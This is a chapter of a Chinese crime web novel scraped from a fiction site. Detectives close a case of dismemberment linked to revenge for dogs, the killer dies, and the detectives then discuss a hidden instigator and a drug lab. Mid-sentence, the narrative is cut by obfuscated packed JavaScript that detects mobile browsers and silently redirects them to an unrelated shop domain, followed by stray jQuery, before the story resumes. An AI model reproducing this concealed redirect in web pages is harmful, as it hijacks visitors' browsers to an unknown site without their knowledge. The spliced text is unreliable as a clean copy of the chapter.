文趣网 > 其他小说 > 我不是反派 > 39. 我是受害人(九)
    “你看吧,他们又把它们关起来了,人只会觉得自己是这个世界的主宰,对其他生命毫不在意,你还要犹豫吗?”

    “他们真的回来了?”

    “是啊,十八年而已,一晃就过。可惜它们连这个机会都没有。”

    男人愣住了。

    在他眼里,救助站只是一个大一点的牢笼,在他眼里,所有企图抓狗的人都是为了伤害,在他眼里,人类不可信。

    “不可能。”男人笑道。

    周烬川点了点康佳乐的照片:“这个孩子在被你杀害之前,用自己辛苦奋斗半年取得的好成绩向父母换来了一个能养狗的机会。”

    “隐泉村人人怕狗,没人敢养狗,孩子们单纯善良,想给刚出生不久的小狗找一个好主人,所以只能拜托别人,同学,朋友,甚至是在网上认识的陌生人。”

    半个月前,邵奇和康佳乐曾相约一起去隐泉村抓狗,而这一幕恰巧被男人看到,偏偏这两个孩子又和当年四个抓狗贼中的两个有几分神似。

    也不知道他从哪听来的所谓“十八年后又是一条好汉”的言论,竟真的把他们两个当成了这一世的抓狗贼。

    左亮之前的计划被郭永打断,或许不甘心的他打算大晚上直接去垃圾场,没准会遇上几只嗷嗷待哺的小狗崽,但凡他没有选择那一天,但凡他没有去那个地方......

    其实仔细一看,他和那四个人的长相完全挨不上边。至于严一舟,他似乎真的只是一个倒霉的目击者。

    杀红了眼的感觉,目睹血肉被撕扯的快意,就像顾霁禾找来的视频里那个“来不及动手”的摄影师——

    他是观众,是审判者。

    男人的表情依旧没变,连先前的愤怒都渐渐消散:“随便你怎么说,反正我已经帮它们报仇了。”

    拉不回来的执拗也没有僵持的必要,周烬川沉声问:“剩下两个孩子的尸块在哪?”

    男人眼神微凝,顿了几秒说:“我可以带你们去。”

    周烬川往后一靠,用耐人寻味的目光品鉴着他的表情,半晌才开口:“好,现在就去。”

    顾霁禾隐隐有一种不好的预感,不是怕他跑,而是怕他唤出不计其数的帮手。黑暗中无数幽绿的眼睛迅速靠近,迫不及待想要撕咬它们的猎物。

    “师兄......”顾霁禾想说有没有办法能不让他发出诡异的哨声。

    周烬川自然想得到这一点:“你配合,你想守护的它们自然会有好的去处,要是再做一些徒劳无功的反抗,傍晚的三只狗就是后果。”

    男人轻微垂眼,点了点头。

    剩下两家农田的主人近日没有下地,所以很幸运地避开了血腥的一幕。男人也很配合,直到最后一包尸块顺利挖出,众人打算收工返回的时候,熟悉的哨声响起了。

    “你!”顾霁禾下意识看向四周,交错的手电光几乎能把天边照亮。

    周烬川这一次带来的人不少,法医和痕检已经先一步上了车,剩下的人都荷枪实弹严阵以待。

    然而令他们惊讶的是,想象中的狂吠和围攻并没有到来,只有一只体型并不算壮硕的狗摇着尾巴缓缓靠近。

    它的目标很明确,它似乎感受不到危险,它径直走向他。

    “我刚找到它的时候,它身上没什么好肉了。”男人被两名警察架着,目光紧紧跟着地上的身影,“我养了好久,能让我最后跟它道个别吗?”

    周烬川犹豫了一会,最终还是让他们松开了他。

    男人轻轻蹲下身,将整个脖子和半边脸埋进狗的身体。它不知道什么叫告别,它只知道他好像有点不开心,他需要它的安慰和陪伴。

    这场道别仪式持续了将近两分钟,男人才忍着不舍抬头看向周烬川,嘴角缓缓上扬:“警官,记得你答应我的。”

    周烬川猛然发觉不对,但已经来不及了,原本温顺乖巧的狗突然张开血盆大口,分毫不差咬住男人的颈动脉,随着一声枪响,一人一狗倒在血泊里。

    一切都过于突然,明晃晃的光亮下只剩血影。

    这是顾霁禾第一次有了强烈想要呕吐的生理反应,她猝然转身跪在地上,心口仿佛要炸开,血腥和火药味堵在鼻腔,喉管被酸臭卡住,身体也止不住发抖。

    好奇怪,她明明没有感到恐惧,她明明很镇定,她的身体欺骗了大脑。

    恍惚中身后传来收尸的动静,脚步声越发模糊,若隐若现的光亮也彻底晦暗。她似乎在黑暗里挣扎了很久,等莫名的绞痛终于慢慢退散,她艰难起身,一回头便撞上了周烬川直视的眼睛。

    他一直默默站在她背后。

    “师兄......”顾霁禾努力平复,“我不是故意的。”

    周烬川站在原地没动,此刻的距离,又是黑夜,顾霁禾看不清他的表情。

    “是我大意了。”周烬川说。

    他们谁都没有想到会是这样的结局,顾霁禾也没有想到周烬川一开口会先说这句话。

    “先回去吧。”

    周烬川径自转身,顾霁禾缓了口气快步跟上。

    身份确认无误,尸体和头颅也已经对应,野狗碎尸案貌似可以画上句点了。县公安局决定专项整治,集中抓捕,也许几个月后的隐泉村不会再出现狗的影子。

    不过还有一具尸骨没有解决,特侦队来这里真正的目标也没有完成。

    “目前看来那个男人应该只是单纯爱狗,和ASDD没关系吧?”宋林汐有点唏嘘,这个无厘头的案子之所以会发生,究其根源还是十八年前的那伙人犯下的错,“不过依我看,他很可能是被人诱导了。”

    可惜他没来得及交代,或者他根本不想交代。

    “四个孩子里严一舟最特殊,他是唯一一个和狗完全不沾边的人,而且严长宇的尸骨就被埋在垃圾场。”沈峋总觉得这对父子背后还藏着很多秘密,“就算他真的只是一个目击者,那大晚上的他去隐泉村的垃圾场做什么?”

    在段俞的印象里,她只告诉过儿子他的父亲是隐泉村人,从他失踪后他们娘俩也没有回过村,所以隐泉村对于严一舟来说应该是一个非常陌生的地方。

    除非有人跟他说了什么让他过去,而且恰巧是那个晚上,他成为了凶杀案的目击者,以至于不得不被凶手灭口。

    许清宴听出了沈峋的言外之意:“所以还有第三拨人?”

    第一拨,杀害严长宇并将尸骨埋在垃圾场的凶手。第二拨,7号晚上本意只想杀害邵奇和康佳乐,却无意间遇到可能来抓狗的左亮以及不明缘由出现的严一舟,并将四人一起杀害的男人。第三拨,让严一舟去垃圾场的人。

    “那个人知道严长宇被害而且就埋在垃圾场,于是把这个消息告诉了严一舟,他才在那

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17710366|204114||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    一天晚上去了垃圾场,目睹凶杀案然后被灭口。”沈峋说,“如果那个人根本就不知道男人为狗报仇的计划,一切就都是巧合。”

    “可如果他知道,他的目的就不仅仅是让严长宇的尸骨重见天日,他还要借刀杀人。”

    “这样想的话......”许清宴思考了一会说,“也许那个人就是诱导男人在垃圾场为狗报仇的人。”

    “没错。”沈峋眼神微凝,“我们这里还有一个在隐泉村住了很久,自称怕狗研究毒药却谎话连篇的人。”

    在外奔波一天一夜,现在却被硬生生拉进观察室的陆卓诚终于忍不住发射心头怒火:“周烬川,你要审就进去,在这看着算什么?”

    “你和罗昌早就认识,为什么没有告诉我?”周烬川已读乱回。

    “?”陆卓诚莫名其妙横了他一眼,“我为什么要告诉你?我的线人那么多,难不成都要向你报备?”

    周烬川漠然回了他一眼:“我指的是你让他来拿样本这件事。”

    陆卓诚反应过来后发出一声轻笑:“他不是场外援助吗?我怕你贵人多忘事就顺便帮忙通知了,不用客气。”

    周烬川默不作声,继续没有缘由地观望着审讯室里的面孔。

    叶听雪,这个名字是真的还是假的呢?

    “我可不陪你耗了,让你那个实习生过来吧,我觉得她对付你还挺有一套的。”陆卓诚深谙语言艺术,自视三句话里总得有一句能给周烬川惊喜。

    的确,这两个字位于周烬川的敏感词汇之列,以至于他差点没忍住把剜人的目光换成实打实的拳头。

    “陆卓诚,你还是花点时间整顿一下你那些乱七八糟的线人。”周烬川头也不回地说,“要是让我发现窃听器装到我这里来......”

    “绝无可能!”陆卓诚沉声打断,“我们要找的又不是同一伙人,除非死对头变亲兄弟,那让枉死的无数条蜈蚣情何以堪?”

    陆卓诚顿了顿放缓语气:“不过你更应该小心,没有外人,出了问题就只能找自己人了,尤其是新来的人。”

    这话分明意有所指,也不知道他指的是顾霁禾还是罗昌。

    周烬川用沉默接受了他的好意,转而问道:“查的怎么样了?”

    陆卓诚硬是把“没有义务向你报备”这句话咽了下去。

    举报查不到来源也并非个例,毕竟举报的人要先想方设法保证自己的安全。

    当时他得知的地点很明确,就是启康县隐泉村,那个实验室也有长久的制毒痕迹,留给他们的半成品以及故意被他们抓到的叶听雪很可能只是个幌子,真正的寒枭带着真正的毒药飞去了哪里尚不可知。

    “县里不太好潜踪隐迹,我走了一圈几乎没发现什么可疑的地方,现在有点脑子的人制毒都会直接用原料,不然经手的地方多了就容易露出破绽。”

    陆卓诚看向叶听雪,仿佛从那姑娘冰雕似的脸上发觉出一抹似有若无的笑意:“我更愿意相信供源地或者真正的制毒窝点就在隐泉村附近。”

    启康县下辖的村子接近一百,和隐泉村离得近的倒是不多。

    “寒枭归巢等你去抓?”周烬川淡定地说,“我觉得不太可能。”

    陆卓诚转身看着他:“那你有何高见?”

    “寒枭已死,等你善后。”周烬川撂下一句话往审讯室走去。